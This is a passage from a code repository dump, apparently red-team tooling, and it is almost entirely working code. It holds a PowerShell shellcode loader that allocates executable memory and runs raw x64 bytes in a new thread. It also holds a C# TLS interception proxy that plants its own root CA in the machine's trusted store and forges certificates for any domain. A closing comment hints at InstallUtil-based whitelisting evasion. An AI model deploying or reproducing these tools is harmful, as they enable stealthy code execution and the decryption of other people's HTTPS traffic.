| $Generator.Emit([System.Reflection.Emit.OpCodes]::Call, $Kernel32.GetMethod('CreateThread')) 151 | $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) 152 | $Delegate = [Func``7[IntPtr, UInt32, IntPtr, IntPtr, UInt32, IntPtr, IntPtr]] 153 | $ProxyMethod = $MethodInfo.CreateDelegate($Delegate) 154 | 155 | $ProxyMethod.Invoke($lpThreadAttributes, 156 | $dwStackSize, 157 | $lpStartAddress, 158 | $lpParameter, 159 | $dwCreationFlags, 160 | $lpThreadId) 161 | } 162 | 163 | 164 | $X64SampleInstructions = [Byte[]] @( 165 | 0xB9, 0x03, 0x00, 0x00, 0x00, # mov ecx, 3 166 | 0x83, 0xC1, 0x03, # add ecx, 3 167 | 0x31, 0xC0, # xor eax, eax 168 | 0xC3) # ret 169 | 170 | <# 171 | # Sample instructions that will crash your PowerShell Core remoting session 172 | $X64SampleInstructions = [Byte[]] @( 173 | 0x48, 0x31, 0xC0, # xor rax, rax 174 | 0x50, # push rax 175 | 0xC3) # ret 176 | #> 177 | 178 | $ShellcodeAddr = Invoke-VirtualAlloc -lpAddress ([IntPtr]::Zero) -dwSize $X64SampleInstructions.Length -flAllocationType 0x3000 -flProtect 0x40 179 | [System.Runtime.InteropServices.Marshal]::Copy($X64SampleInstructions, 0, $ShellcodeAddr, $X64SampleInstructions.Length) 180 | Invoke-CreateThread -lpThreadAttributes ([IntPtr]::Zero) -dwStackSize 0 -lpStartAddress $ShellcodeAddr -lpParameter ([IntPtr]::Zero) -dwCreationFlags 0 -lpThreadId ([IntPtr]::Zero) -------------------------------------------------------------------------------- /Interceptor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Net.Security; 4 | using System.Net.Sockets; 5 | using System.Text; 6 | using System.Security.Cryptography.X509Certificates; 7 | 8 | using CERTENROLLLib; 9 | 10 | public class Program 11 | { 12 | public static void Main(string[] args) 13 | { 14 | IPEndPoint endpoint = new IPEndPoint(IPAddress.Any, 8081); 15 | TcpListener listener = new TcpListener(endpoint); 16 | TcpClient client = new TcpClient(); 17 | 18 | //Setup CA Certificate; 19 | X509Store CAstore = new X509Store(StoreName.My, StoreLocation.LocalMachine); 20 | CAstore.Open(OpenFlags.ReadOnly); 21 | X509Certificate2Collection certList = CAstore.Certificates.Find(X509FindType.FindBySubjectName, "__Interceptor_Trusted_Root" , false); 22 | if (certList.Count > 0) 23 | { 24 | Console.WriteLine(certList[0].Thumbprint); 25 | } 26 | else 27 | { 28 | Console.WriteLine("Installing Trusted Root"); 29 | X509Certificate2 x509 = CreateCertificate("__Interceptor_Trusted_Root", true); 30 | CAstore.Close(); 31 | Console.WriteLine("Ready"); 32 | } 33 | 34 | 35 | 36 | listener.Start(); 37 | 38 | while (true) 39 | { 40 | 41 | client = listener.AcceptTcpClient(); 42 | if (client != null) 43 | { 44 | 45 | NetworkStream nwStream = client.GetStream(); 46 | byte[] buffer = new byte[client.ReceiveBufferSize]; 47 | 48 | int bytesRead = nwStream.Read(buffer, 0, client.ReceiveBufferSize); 49 | 50 | string dataReceived = Encoding.ASCII.GetString(buffer, 0, bytesRead); 51 | Console.WriteLine("Received : \n" + dataReceived); 52 | string requestString = Encoding.UTF8.GetString(buffer); 53 | if (requestString.StartsWith("CONNECT")) 54 | { 55 | //Client is requesting SSL, Promote the Stream; 56 | // Get Domain Requested 57 | string[] requestArray = requestString.Split(new string[] { "\r\n", "\n" }, StringSplitOptions.None); 58 | string[] DomainParse = requestArray[0].Split(new string[] { " ", ":" }, StringSplitOptions.None); 59 | Console.WriteLine("*** SSL REQUEST TO {0} ***" , DomainParse[1]); 60 | //Spoof Success Response 61 | byte[] connectSpoof = Encoding.ASCII.GetBytes("HTTP/1.1 200 Connection Established\r\nTimeStamp: " + DateTime.Now.ToString() + "\r\n\r\n"); 62 | nwStream.Write(connectSpoof, 0, connectSpoof.Length); 63 | nwStream.Flush(); 64 | 65 | SslStream sslStream = new SslStream(nwStream, false); 66 | //Check if certificate already exists 67 | CAstore.Open(OpenFlags.ReadOnly); 68 | X509Certificate2Collection tempCertCheck = CAstore.Certificates.Find(X509FindType.FindBySubjectName, DomainParse[1], false); 69 | X509Certificate2 tempCert; 70 | if (tempCertCheck.Count > 0) 71 | { 72 | tempCert = tempCertCheck[0]; 73 | } 74 | else 75 | { 76 | tempCert = CreateCertificate(DomainParse[1], false); 77 | } 78 | sslStream.AuthenticateAsServer(tempCert, false, System.Security.Authentication.SslProtocols.Tls12, false); 79 | 80 | byte[] responseBytes = Encoding.UTF8.GetBytes("

Yup!

"); 81 | sslStream.Write(responseBytes, 0, responseBytes.Length); 82 | 83 | } 84 | else 85 | { 86 | byte[] responseBytes = Encoding.UTF8.GetBytes("

Yup!

"); 87 | nwStream.Write(responseBytes, 0, responseBytes.Length); 88 | } 89 | 90 | //client.Close(); 91 | //listener.Stop(); 92 | //Console.ReadLine(); 93 | } 94 | 95 | } 96 | 97 | 98 | } 99 | public static X509Certificate2 CreateCertificate(string certSubject, bool isCA) 100 | { 101 | string CAsubject = certSubject; 102 | CX500DistinguishedName dn = new CX500DistinguishedName(); 103 | 104 | dn.Encode("CN=" + CAsubject, X500NameFlags.XCN_CERT_NAME_STR_NONE); 105 | 106 | string strRfc822Name = certSubject; 107 | 108 | CAlternativeName objRfc822Name = new CAlternativeName(); 109 | CAlternativeNames objAlternativeNames = new CAlternativeNames(); 110 | CX509ExtensionAlternativeNames objExtensionAlternativeNames = new CX509ExtensionAlternativeNames(); 111 | 112 | // Set Alternative RFC822 Name 113 | objRfc822Name.InitializeFromString(AlternativeNameType.XCN_CERT_ALT_NAME_DNS_NAME, strRfc822Name); 114 | 115 | // Set Alternative Names 116 | objAlternativeNames.Add(objRfc822Name); 117 | objExtensionAlternativeNames.InitializeEncode(objAlternativeNames); 118 | //objPkcs10.X509Extensions.Add((CX509Extension)objExtensionAlternativeNames); 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | //Issuer Property for cleanup 127 | string issuer = "__Interceptor_Trusted_Root"; 128 | CX500DistinguishedName issuerdn = new CX500DistinguishedName(); 129 | 130 | issuerdn.Encode("CN=" + issuer, X500NameFlags.XCN_CERT_NAME_STR_NONE); 131 | // Create a new Private Key 132 | 133 | CX509PrivateKey key = new CX509PrivateKey(); 134 | key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"; //"Microsoft Enhanced Cryptographic Provider v1.0" 135 | // Set CAcert to 1 to be used for Signature 136 | if (isCA) 137 | { 138 | key.KeySpec = X509KeySpec.XCN_AT_SIGNATURE; 139 | } 140 | else 141 | { 142 | key.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE; 143 | } 144 | key.Length = 2048; 145 | key.MachineContext = true; 146 | key.Create(); 147 | 148 | // Create Attributes 149 | //var serverauthoid = new X509Enrollment.CObjectId(); 150 | CObjectId serverauthoid = new CObjectId(); 151 | serverauthoid.InitializeFromValue("1.3.6.1.5.5.7.3.1"); 152 | CObjectIds ekuoids = new CObjectIds(); 153 | ekuoids.Add(serverauthoid); 154 | CX509ExtensionEnhancedKeyUsage ekuext = new CX509ExtensionEnhancedKeyUsage(); 155 | ekuext.InitializeEncode(ekuoids); 156 | 157 | CX509CertificateRequestCertificate cert = new CX509CertificateRequestCertificate(); 158 | cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextMachine, key, ""); 159 | cert.Subject = dn; 160 | cert.Issuer = issuerdn; 161 | cert.NotBefore = (DateTime.Now).AddDays(-1);//Backup One day to Avoid Timing Issues 162 | cert.NotAfter = cert.NotBefore.AddDays(90); //Arbitrary... Change to persist longer... 163 | //Use Sha256 164 | CObjectId hashAlgorithmObject = new CObjectId(); 165 | hashAlgorithmObject.InitializeFromAlgorithmName(ObjectIdGroupId.XCN_CRYPT_HASH_ALG_OID_GROUP_ID, 0, 0, "SHA256"); 166 | cert.HashAlgorithm = hashAlgorithmObject; 167 | 168 | cert.X509Extensions.Add((CX509Extension) ekuext); 169 | cert.X509Extensions.Add((CX509Extension)objExtensionAlternativeNames); 170 | //https://blogs.msdn.microsoft.com/alejacma/2011/11/07/how-to-add-subject-alternative-name-to-your-certificate-requests-c/ 171 | if (isCA) 172 | { 173 | CX509ExtensionBasicConstraints basicConst = new CX509ExtensionBasicConstraints(); 174 | basicConst.InitializeEncode(true, 1); 175 | cert.X509Extensions.Add((CX509Extension)basicConst); 176 | } 177 | else 178 | { 179 | var store = new X509Store(StoreName.My ,StoreLocation.LocalMachine); 180 | store.Open(OpenFlags.ReadOnly); 181 | X509Certificate2Collection signer = store.Certificates.Find(X509FindType.FindBySubjectName, "__Interceptor_Trusted_Root", false); 182 | 183 | CSignerCertificate signerCertificate = new CSignerCertificate(); 184 | signerCertificate.Initialize(true, 0, EncodingType.XCN_CRYPT_STRING_HEX, signer[0].Thumbprint); 185 | cert.SignerCertificate = signerCertificate; 186 | } 187 | cert.Encode(); 188 | 189 | CX509Enrollment enrollment = new CX509Enrollment(); 190 | enrollment.InitializeFromRequest(cert); 191 | string certdata = enrollment.CreateRequest(0); 192 | enrollment.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate, certdata, 0, ""); 193 | 194 | if (isCA) 195 | { 196 | 197 | //Install CA Root Certificate 198 | X509Store store = new X509Store(StoreName.My, StoreLocation.LocalMachine); 199 | store.Open(OpenFlags.ReadOnly); 200 | X509Certificate2Collection certList = store.Certificates.Find(X509FindType.FindBySubjectName, "__Interceptor_Trusted_Root", false); 201 | store.Close(); 202 | 203 | X509Store rootStore = new X509Store(StoreName.Root, StoreLocation.LocalMachine); 204 | rootStore.Open(OpenFlags.ReadWrite); 205 | X509Certificate2Collection rootcertList = rootStore.Certificates.Find(X509FindType.FindBySubjectName, "__Interceptor_Trusted_Root", false); 206 | rootStore.Add(certList[0]); 207 | rootStore.Close(); 208 | return certList[0]; 209 | } 210 | else 211 | { 212 | //Return Per Domain Cert 213 | X509Store xstore = new X509Store(StoreName.My, StoreLocation.LocalMachine); 214 | xstore.Open(OpenFlags.ReadOnly); 215 | X509Certificate2Collection certList = xstore.Certificates.Find(X509FindType.FindBySubjectName, certSubject, false); 216 | xstore.Close(); 217 | return certList[0]; 218 | } 219 | 220 | } 221 | } 222 | 223 | //Add InstallUtil Invocation Class --------------------------------------------------------------------------------